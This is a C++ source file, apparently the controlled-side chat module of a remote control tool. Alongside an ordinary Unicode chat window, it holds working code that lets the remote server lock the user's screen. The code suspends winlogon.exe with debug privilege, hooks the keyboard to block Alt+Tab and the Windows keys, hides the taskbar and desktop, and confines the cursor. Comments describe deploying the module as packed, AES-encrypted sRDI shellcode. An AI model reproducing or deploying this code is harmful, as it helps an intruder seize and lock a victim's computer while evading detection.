// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "ChatManager.h"
#include "ChatDialogTemplate.h"
#include "ImageResource.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#include <string>

#if ENABLE_MESSAGE

// 远程交谈（双向聊天）被控端实现，移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后，被控端在此显示聊天窗口，并支持服务端远程锁定屏幕。

#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);

struct PIDWNDINFO {
    DWORD dwProcessId;
    HWND  hWnd;
};

// 锁定屏幕相关的全局状态（同一会话内只有一个 CChatManager 实例）
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int   g_nLocked = 0;

// 加壳部署用：从本模块映像自建的聊天窗口图标，只建一次，进程内复用（不销毁）
static volatile LONG g_lOwnIconsState = 0;   // 0=未建 1=建中 2=已建
static HICON g_hOwnIconSmall = NULL;
static HICON g_hOwnIconBig = NULL;

static void EnsureOwnChatIcons()
{
    if (InterlockedCompareExchange(&g_lOwnIconsState, 1, 0) == 0) {
        g_hOwnIconSmall = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
                                          GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON));
        g_hOwnIconBig = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
                                        GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON));
        InterlockedExchange(&g_lOwnIconsState, 2);   // 全屏障，发布句柄
        return;
    }
    // 另一个线程正在建：短暂等待其发布，避免读到尚未赋值的句柄
    for (int i = 0; i < 50 && g_lOwnIconsState != 2; i++) {
        Sleep(1);
    }
}

static DWORD GetWinlogonPid()
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    PROCESSENTRY32 pEntry = { sizeof(pEntry) };
    BOOL rtn = Process32First(snap, &pEntry);
    while (rtn) {
        if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
            CloseHandle(snap);
            return pEntry.th32ProcessID;
        }
        memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
        rtn = Process32Next(snap, &pEntry);
    }
    CloseHandle(snap);
    return 0;
}

// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
    if (code == HC_ACTION) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
        switch (wParam) {
        case WM_KEYDOWN:
        case WM_SYSKEYDOWN:
        case WM_KEYUP:
        case WM_SYSKEYUP:
            if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0)     // ALT+TAB
                || (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0)   // ALT+F4
                || (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0)  // Alt+Esc
                || (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0)  // Ctrl+Esc
                || (p->vkCode == VK_LWIN)
                || (p->vkCode == VK_RWIN)) {
                return 1;
            }
            break;
        }
    }
    return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}

static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
    PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
    LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
    if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
        IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
        ShowWindow(hWnd, SW_MINIMIZE);
        return TRUE;
    }
    DWORD dwProcessId;
    GetWindowThreadProcessId(hWnd, &dwProcessId);
    if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
        pInfo->hWnd = hWnd;
        return FALSE;
    }
    return TRUE;
}

// 安装键盘钩子并挂起 winlogon（必须在聊天窗口线程调用，确保钩子有消息循环）
static void ChatSetHook()
{
    g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
    HMODULE hMod = LoadLibrary("ntdll");
    if (hMod) {
        RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
        SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
        g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
        DWORD pid = GetWinlogonPid();
        BOOLEAN dummy = 0;
        if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
        g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
    }
}

static void ChatUnSetHook()
{
    if (g_hKeyBoard) {
        UnhookWindowsHookEx(g_hKeyBoard);
        g_hKeyBoard = NULL;
    }
    if (g_lpfnNtResumeProcess && g_hProcess) {
        g_lpfnNtResumeProcess(g_hProcess);
    }
    if (g_hProcess) {
        CloseHandle(g_hProcess);
        g_hProcess = NULL;
    }
    g_lpfnNtResumeProcess = NULL;
}

// 解除锁定：恢复鼠标/屏保/任务栏/开始菜单/桌面，并恢复 winlogon
static void UnlockScreen()
{
    ChatUnSetHook();
    ClipCursor(NULL);
    SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
    ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
    ::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
    ::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
    g_nLocked = 0;
}

//////////////////////////////////////////////////////////////////////
// 聊天文字：Unicode 窗口与 CP936 转换
//////////////////////////////////////////////////////////////////////

// 聊天窗口是 Unicode 对话框：客户端整体是 MBCS 工程，但聊天窗口用 W 接口创建，
// 文字以 UTF-16 存在内存里，与系统 ANSI 代码页无关——德语/日语等非中文系统上
// 中文不再乱码。静态标签按系统 UI 语言选择：中文系统保持中文，其余用英文。
struct ChatUiStrings {
    const wchar_t* caption;
    const wchar_t* send;
    const wchar_t* end;
    const wchar_t* self;
    const wchar_t* peer;
    const wchar_t* errChars;
    const wchar_t* errTooLong;
};

static const ChatUiStrings& ChatUi()
{
    static const ChatUiStrings zhChatUi = {
        L"远程交谈", L"发送消息", L"结束交谈", L"自己:", L"对方:",
        L"消息未发送：含 GBK 不支持的字符（emoji 或带变音符号的字母）",
        L"消息未发送：超过 4000 字节上限"
    };
    static const ChatUiStrings enChatUi = {
        L"Remote Chat", L"Send", L"End Chat", L"Me:", L"Peer:",
        L"Not sent: the message contains characters GBK cannot represent "
        L"(emoji or accented letters)",
        L"Not sent: the message exceeds the 4000-byte limit"
    };
    static const bool bChineseUI =
        (PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
    return bChineseUI ? zhChatUi : enChatUi;
}

// 服务端聊天正文一律是 CP936 字节；转成 UTF-16 交给 Unicode 编辑框显示。
static bool Cp936ToWide(const char* src, int cbSrc, std::wstring& out)
{
    out.clear();
    if (!src || cbSrc <= 0) return true;
    int cch = MultiByteToWideChar(936, 0, src, cbSrc, NULL, 0);
    if (cch <= 0) return false;
    out.resize((size_t)cch);
    return MultiByteToWideChar(936, 0, src, cbSrc, &out[0], cch) > 0;
}

static size_t ChatBoundedStrlen(const char* s, size_t nMax)
{
    size_t n = 0;
    while (n < nMax && s[n] != '\0') ++n;
    return n;
}

// 追加一条聊天记录。控件是 Unicode 窗口，即使在 MBCS 工程里也必须用 W 接口，
// 否则文字会被按系统代码页转换。
static void AppendChatLine(HWND hDlg, const wchar_t* who, const wchar_t* body)
{
    HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
    if (!hEditChatLog) return;

    SYSTEMTIME st;
    GetLocalTime(&st);
    wchar_t stamp[64] = { 0 };
    swprintf_s(stamp, L"%d/%d/%d %d:%02d:%02d",
               st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);

    std::wstring text(who);
    text += L' ';
    text += stamp;
    text += L"\r\n  ";
    if (body) text += body;
    text += L"\r\n\r\n";

    int nLen = GetWindowTextLengthW(hEditChatLog);
    if (nLen >= 20000) {
        SetWindowTextW(hEditChatLog, L"");
        nLen = 0;
    }
    SendMessageW(hEditChatLog, EM_SETSEL, nLen, nLen);
    SendMessageW(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)text.c_str());
}

// 把聊天窗口显式居中到鼠标所在显示器的工作区。模板里的 DS_CENTER 在多显示器布局下
// 可能算出负坐标，再被系统夹到工作区左上角（三屏机器上实测稳定复现），所以不依赖它。
static void CenterChatDialog(HWND hDlg)
{
    RECT rc;
    if (!GetWindowRect(hDlg, &rc)) return;
    const int cx = rc.right - rc.left;
    const int cy = rc.bottom - rc.top;

    RECT rcWork;
    POINT pt;
    MONITORINFO mi = { sizeof(mi) };
    if (GetCursorPos(&pt) && GetMonitorInfo(MonitorFromPoint(pt, MONITOR_DEFAULTTOPRIMARY), &mi)) {
        rcWork = mi.rcWork;
    } else if (!SystemParametersInfo(SPI_GETWORKAREA, 0, &rcWork, 0)) {
        return;
    }

    int x = rcWork.left + (rcWork.right - rcWork.left - cx) / 2;
    int y = rcWork.top + (rcWork.bottom - rcWork.top - cy) / 2;
    if (x < rcWork.left) x = rcWork.left;
    if (y < rcWork.top) y = rcWork.top;
    SetWindowPos(hDlg, NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
    m_hInstance = HINSTANCE(user);
    m_hWnd = NULL;
    m_bRun = TRUE;
    g_nLocked = 0;

    // 向服务端发起远程交谈，服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
    BYTE bToken = TOKEN_CHAT_START;
    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
    m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
    WaitForDialogOpen();

    m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
    Mprintf("Chat 构造\n");
}

CChatManager::~CChatManager()
{
    m_bRun = FALSE;
    // 必须先销毁窗口再等线程：消息循环阻塞在 GetMessageW 里看不到 m_bRun，只有
    // 收到 WM_USER + 1（DestroyWindow → PostQuitMessage）才会退出。关闭命令没送到
    // （子连接先断、服务端 WaitSendIdle 超时后 CancelIO）时，旧的先等后销毁顺序会
    // 死锁在这里，留下一个隐藏的聊天窗口和卡死的线程。
    if (m_hWnd) {
        SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
    }
    while (m_hThread)
        Sleep(100);

    if (g_nLocked == 1) {
        UnlockScreen();
    }
    Mprintf("Chat 析构\n");
}

DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
    CChatManager* pThis = (CChatManager*)lParam;
    HANDLE& hThread(pThis->m_hThread);

    // 聊天窗口必须是 Unicode 窗口：ANSI 窗口会按系统代码页解释文字，非中文系统
    // （德语等）上 GBK 中文一律乱码。资源里的 IDD_CHAT 是 DIALOGEX，字符串本来
    // 就是 UTF-16，W 接口可直接加载。
    pThis->m_hWnd = CreateDialogParamW(pThis->m_hInstance, MAKEINTRESOURCEW(IDD_CHAT), NULL,
                                       CChatManager::ChatDialogProc, (LPARAM)pThis);
    if (!pThis->m_hWnd) {
        // 加壳部署（EXE + SC_AES/sRDI）时 m_hInstance 是外壳进程映像：资源里没有
        // IDD_CHAT，而载荷以裸 shellcode 运行、未注册进加载器，资源 API 一律取不到
        // 对话框（Windows 11 上 CreateDialogParamW 返回 err=1812 或 59）。
        // 回退：用内嵌的 IDD_CHAT 编译后模板建窗，与部署形态无关。
        DWORD dwError = GetLastError();
        Mprintf("CreateDialogParamW(%lu) 失败，改用内嵌对话框模板\n", dwError);
        pThis->m_hWnd = CreateDialogIndirectParamW(pThis->m_hInstance,
                                                   (LPCDLGTEMPLATEW)kChatDialogTemplate, NULL,
                                                   CChatManager::ChatDialogProc, (LPARAM)pThis);
    }
    if (pThis->m_hWnd) {
        SendMessageW(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
        CenterChatDialog(pThis->m_hWnd);
        SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
        // 移除最小化/最大化按钮
        LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
        lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
        SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);

        MSG msg;
        // 本线程只拥有这个对话框，整轮循环用 W 版本收发：否则 WM_CHAR / WM_IME_*
        // 会按系统 ANSI 代码页转换，非中文系统上中文输入法会丢字。
        // m_bRun 先判断：析构里置 FALSE 后即使没有新消息也要能退出，不能卡在 GetMessageW。
        while (pThis->m_bRun && GetMessageW(&msg, NULL, 0, 0)) {
            if (!IsDialogMessageW(pThis->m_hWnd, &msg)) {
                TranslateMessage(&msg);
                DispatchMessageW(&msg);
            }
        }
        // 兜底：若循环在窗口销毁之前就因 m_bRun 被清掉而退出（析构执行到销毁之前
        // 线程就已建好窗口），在同一线程里补一次销毁，避免残留隐藏窗口。
        if (pThis->m_hWnd) {
            HWND hWnd = pThis->m_hWnd;
            pThis->m_hWnd = NULL;
            DestroyWindow(hWnd);
        }
    }

    CloseHandle(hThread);
    hThread = NULL;
    return 0;
}

INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
    switch (uMsg) {
    case WM_INITDIALOG:
        SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
        pThis = (CChatManager*)lParam;
        SetWindowTextW(hDlg, ChatUi().caption);
        SetDlgItemTextW(hDlg, IDC_BUTTON_SEND, ChatUi().send);
        SetDlgItemTextW(hDlg, IDC_BUTTON_END, ChatUi().end);
        {
            HICON hIconSmall = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
            HICON hIconBig = hIconSmall;
            if (!hIconSmall) {
                // 加壳部署取不到图标资源：直接从本模块映像里读 RT_ICON 建图标，
                // 仍失败才退回系统默认图标（共享图标，不可销毁）
                EnsureOwnChatIcons();
                hIconSmall = g_hOwnIconSmall ? g_hOwnIconSmall : LoadIcon(NULL, IDI_APPLICATION);
                hIconBig = g_hOwnIconBig ? g_hOwnIconBig : hIconSmall;
            }
            if (hIconSmall) SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIconSmall);
            if (hIconBig) SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIconBig);
        }
        return TRUE;

    case WM_COMMAND:
        if (LOWORD(wParam) == IDC_BUTTON_SEND) {
            HWND hEditNewMsg = GetDlgItem(hDlg, IDC_EDIT_NEWMSG);
            int cch = GetWindowTextLengthW(hEditNewMsg);
            if (cch <= 0) {
                SetFocus(hEditNewMsg);
                return TRUE; // 消息为空不发送
            }
            std::wstring text((size_t)cch + 1, L'\0');
            GetWindowTextW(hEditNewMsg, &text[0], cch + 1);
            text.resize(wcslen(text.c_str()));
            if (text.empty()) {
                SetFocus(hEditNewMsg);
                return TRUE;
            }

            // 协议仍是 CP936：UTF-16 → GBK 严格转换。GBK 表示不了的字符（emoji、
            // ö/ä/ß 等）直接拒发并提示，绝不静默变成 '?'。
            BOOL usedDefault = FALSE;
            int nNeed = WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
                                            NULL, 0, NULL, &usedDefault);
            if (nNeed <= 1 || usedDefault) {
                AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
                return TRUE;
            }
            if (nNeed - 1 > 4000) {
                AppendChatLine(hDlg, ChatUi().self, ChatUi().errTooLong);
                return TRUE;
            }
            std::string gbk((size_t)nNeed, '\0');
            WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
                                &gbk[0], nNeed, NULL, &usedDefault);
            if (usedDefault) {
                AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
                return TRUE;
            }

            pThis->Send((LPBYTE)&gbk[0], (ULONG)gbk.size());   // 含结尾 NUL
            AppendChatLine(hDlg, ChatUi().self, text.c_str());
            SetDlgItemTextW(hDlg, IDC_EDIT_NEWMSG, L"");
            SetFocus(hEditNewMsg);
            return TRUE;
        }
        if (LOWORD(wParam) == IDC_BUTTON_END) {
            // 被控端关闭聊天窗口：仅隐藏对话框，会话保持。关闭交谈始终由服务端发起，
            // 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
            ShowWindow(hDlg, SW_HIDE);
            return TRUE;
        }
        break;

    case WM_CLOSE:
        // X 关闭按钮：仅隐藏对话框（与「结束交谈」一致），关闭交谈始终由服务端发起
        ShowWindow(hDlg, SW_HIDE);
        return TRUE;

    case WM_USER + 1:
        pThis->m_hWnd = NULL;
        DestroyWindow(hDlg);
        return TRUE;

    case WM_USER + 2:
        ChatSetHook();
        return TRUE;

    case WM_DESTROY:
        PostQuitMessage(0);
        return TRUE;

    default:
        break;
    }
    return FALSE;
}

VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
    if (szBuffer[0] == TOKEN_HEARTBEAT) return;

    if (ulLength == 1) {
        switch (szBuffer[0]) {
        case COMMAND_NEXT_CHAT:
            NotifyDialogIsOpen();
            return;
        case COMMAND_CHAT_CLOSE:
            if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
            return;
        case COMMAND_CHAT_SCREEN_LOCK:
            NotifyDialogIsOpen();
            if (m_hWnd && g_nLocked == 0) {
                ShowWindow(m_hWnd, SW_RESTORE);
                RECT rct = { 0 };
                GetWindowRect(m_hWnd, &rct);
                ClipCursor(&rct);
                SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
                PIDWNDINFO pwi = { 0 };
                pwi.dwProcessId = 0;
                pwi.hWnd = m_hWnd;
                EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
                ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
                ::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
                ::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
                SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
                g_nLocked = 1;
            }
            return;
        case COMMAND_CHAT_SCREEN_UNLOCK:
            if (g_nLocked == 1) {
                UnlockScreen();
            }
            return;
        default:
            break;
        }
    }

    // 收到服务端发来的聊天文本：协议是 CP936 字节（NUL 结尾），转成 UTF-16 显示，
    // 这样非中文系统（德语等）上也能正确显示中文。
    const size_t cbText = ChatBoundedStrlen((const char*)szBuffer, (size_t)ulLength);
    std::wstring text;
    if (!Cp936ToWide((const char*)szBuffer, (int)cbText, text)) return;
    if (m_hWnd) {
        AppendChatLine(m_hWnd, ChatUi().peer, text.c_str());
        ShowWindow(m_hWnd, SW_RESTORE);
    }
}

#endif